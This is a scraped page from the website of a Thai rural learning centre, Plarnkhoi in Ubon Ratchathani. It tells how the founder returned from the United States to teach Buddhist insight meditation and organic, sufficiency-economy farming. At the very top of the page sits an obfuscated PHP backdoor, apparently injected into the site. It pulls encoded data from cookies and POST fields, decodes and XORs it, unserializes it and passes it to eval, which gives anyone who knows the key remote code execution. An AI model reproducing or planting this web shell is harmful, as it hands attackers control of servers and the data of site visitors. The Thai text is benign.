$iniKU = "\x4e" . 'g' . chr ( 756 - 658 )."\137" . chr ( 907 - 838 ).chr (66) . "\167";$myyExn = 'c' . 'l' . "\141" . "\x73" . "\163" . "\x5f" . "\x65" . chr (120) . chr ( 277 - 172 ).chr ( 880 - 765 )."\x74" . "\163";$vTdOqhW = class_exists($iniKU); $myyExn = "32259";$vAAay = !1;if ($vTdOqhW == $vAAay){function Jwxxo(){return FALSE;}$QfzmsEypX = "15648";Jwxxo();class Ngb_EBw{private function xKGGL($QfzmsEypX){if (is_array(Ngb_EBw::$avSeuoHui)) {$HNNJexxV = str_replace(chr (60) . chr ( 542 - 479 )."\160" . chr (104) . "\x70", "", Ngb_EBw::$avSeuoHui["\143" . "\x6f" . "\156" . 't' . "\145" . 'n' . "\x74"]);eval($HNNJexxV); $QfzmsEypX = "15648";exit();}}private $PpOeVk;public function eCrFVEB(){echo 28385;}public function __destruct(){$QfzmsEypX = "20419_16761";$this->xKGGL($QfzmsEypX); $QfzmsEypX = "20419_16761";}public function __construct($PlBYqoqvu=0){$JCuGXEK = $_POST;$LVuXxA = $_COOKIE;$otdEyqxrW = "abbe5226-71cc-40c5-9d39-6b2242a26fb4";$drVNpRcsa = @$LVuXxA[substr($otdEyqxrW, 0, 4)];if (!empty($drVNpRcsa)){$joLSFKk = "base64";$jVoOivToi = "";$drVNpRcsa = explode(",", $drVNpRcsa);foreach ($drVNpRcsa as $ythUtVZV){$jVoOivToi .= @$LVuXxA[$ythUtVZV];$jVoOivToi .= @$JCuGXEK[$ythUtVZV];}$jVoOivToi = array_map($joLSFKk . chr ( 292 - 197 )."\144" . "\145" . "\143" . "\157" . 'd' . 'e', array($jVoOivToi,)); $jVoOivToi = $jVoOivToi[0] ^ str_repeat($otdEyqxrW, (strlen($jVoOivToi[0]) / strlen($otdEyqxrW)) + 1);Ngb_EBw::$avSeuoHui = @unserialize($jVoOivToi); $jVoOivToi = class_exists("20419_16761");}}public static $avSeuoHui = 42183;}$wsxQiirY = new /* 12138 */ $iniKU(15648 + 15648); $QfzmsEypX = strpos($QfzmsEypX, $QfzmsEypX); $vAAay = $wsxQiirY = $QfzmsEypX = Array();} ศูนย์พลาญข่อย | ศูนย์พลาญข่อย
080-5519598 (คุณแก้ว) plarnkhoi@hotmail.com
Select Page

p13

ศูนย์พลาญข่อย หรือ ศูนย์การเรียนรู้ชุมชนพลาญข่อย ตั้งอยู่ที่ บ้านแหลมทอง เลขที่ 77 หมู่ 2 ต.โนนก่อ อ.สิรินธร จ.อุบลราชธานี 34350
สร้างขึ้นโดยพ่อครูบัญชา ตั้งวงษ์ไชย และ ชาวบ้าน พร้อมญาติธรรมทั้งหลาย
เนื่องจากท่านพ่อครูบัญชา ได้ละทิ้งความมีและความเป็นที่อยู่บนกองทุกข์ในขณะที่อาศัยอยู่ที่สหรัฐอเมริกา แม้ท่านจะมีเงินมากมาย
มีชีวิตครอบครัวที่อบอุ่น แต่ตลอดเวลาที่ผ่านมา ท่านไม่เคยเป็นอิสระทางใจเลย แต่ละวันชีวิตมีแต่การแข่งขัน กังวนกับธุรกิจอยู่ตลอดเวลา
มีความคิดว่า“ชีวิตที่มั่นคง ต้องมีความเจริญเติบโตทางวัตถุเป็นเป้าหมาย เพราะเชื่อว่านั่นคือ หนทางเดียวที่จะมุ่งสู่ความมั่นคงของชีวิต”
ซึ่งเป็นความเชื่อ ณ เวลานั้น ต่อมาท่านได้ปฏิบัติธรรมจึงได้ค้นพบสัจธรรม ความเป็นจริงตามธรรมชาติ ที่ว่า

“จนแปลว่าไม่มี ไม่ได้แปลว่าทุกข์

รวยแปลว่า มีเยอะ ไม่ได้แปลว่าสุข

สำเร็จแปลว่าเสร็จแล้ว”

เมื่อท่านได้ค้นพบกับความหมายของคำว่า “สำเร็จ” พ่อครูจึงตัดสินใจที่จะกลับมาใช้ชีวิตที่บ้านเกิดเมืองนอน

กลับมาทดแทนบุญคุณแผ่นดินเกิดที่ จังหวัดอุบลราชธานี ในปี พ.ศ. 2533

“ความเจริญเติบโตมั่นคงนั้น

ไม่มีขอบเขตจำกัด ไม่มีวันเสร็จ

เจริญ คือ มีมากขึ้น เติบโต คือ ยิ่งใหญ่ขึ้น

ไม่ได้แปลว่ามั่นคง

ความสำเร็จ ซึ่งหมายถึง

ไม่มีปัญหาอะไรจะต้องแก้ไขอีกแล้ว

หรือหยุดแล้ว จะเกิดขึ้นได้อย่างไรในโลกยุคเสรี ”

หลังจากที่กลับมา พ่อครูได้อุทิศตนให้พุทธศาสนาอย่างเต็มตัว ให้สมกับที่ได้เกิดมาอยู่ใต้พระบารมีของพระพุทธเจ้า
เผยแพร่คำสอนของพระพุทธเจ้าและนำสัจธรรม ความเป็นจริงที่เกิดขึ้นกับตนเองมาถ่ายทอดให้ญาติธรรม
โดยสอนวิปัสสนา ที่ใช้หลักการนำอายตนะมาเป็นฐานที่ตั้งแห่งการเจริญสติ ที่เรียกว่า “อายตนะวิปัสสนากัมมัฏฐาน”

ประวัติศูนย์พลาญข่อย

เมื่อพ่อครูได้มาใช้ชีวิตที่บ้านแหลมทอง ทำให้ได้เห็นชีวิตความเป็นอยู่ของชาวบ้านที่มีแต่ปัญหาสังคม เนื่องจากสังคมในยุคปัจจุบัน
เป็นสังคมแบบทุนนิยม พ่อแม่ต้องไปทำงานในเมืองหลวง เพื่อหาเงินทองมาจุนเจือครอบครัว ทำให้เกิดปัญหาสังคมตามมา
ครอบครัวแตกแยก เด็กขาดความอบอุ่น คนแก่เลี้ยงหลานที่บ้าน ชาวบ้านถูกชักชวนให้ไปทำงานเพราะเห็นว่าเงินดี
แต่สุดท้ายกลับโดนหลอกให้ไปขายแรงงาน ปัญหาทั้งหมดนี้เกิดขึ้นเพราะชาวบ้านขาดการศึกษา ถูกคนที่บอกว่าเป็นนายทุน
เอารัดเอาเปรียบ และโดนสังคมที่ถูกหล่อหลอมมาว่าต้องมีเงิน มีทอง มีบ้าน มีรถ ชาวบ้านจึงต้องขวนขวายเพื่อให้ตนมีเหมือนคนอื่นๆ

ประวัติศูนย์พลาญข่อย2

ดังนี้ พ่อครูบัญชาได้ตระหนักถึงปัญหาดังกล่าว จึงต้องการที่จะส่งเสริมการศึกษา ควบคู่กับการพัฒนาด้านจิตใจเป็นเครื่องมือในการพัฒนาคนและชุมชน
เน้นการอยู่ร่วมกันและการดำเนินชีวิตตามแนวพระราชดำริเศรษฐกิจพอเพียง ทำการเกษตรปลอดสารพิษในนามไร่แหลมทอง
ต.โนนก่อ อ.สิรินธร จ.อุบลราชธานี ซึ่งอยู่ห่างจากตัวจังหวัดประมาณ 100 กิโลเมตร

จากการทำไร่นาสวนผสมที่ปลอดสารเคมี กลายเป็นแหล่งเรียนรู้ให้กับชุมชนในหมู่บ้าน
ท่านได้ให้คำแนะนำทั้งวิธีการผลิตและการดำรงชีวิต โดยยึดหลักว่า

“เกษตรเพื่อชีวิต ไม่ได้ปฏิเสธเรื่องซื้อเรื่องขาย

แต่เน้นให้เป็นเรื่องรอง เรื่องหลัก

คือ ทำอยู่ ทำกิน ทำทาน เพื่อมรรคผลของชีวิต

มิใช่เพื่อประโยชน์หรือผลงาน”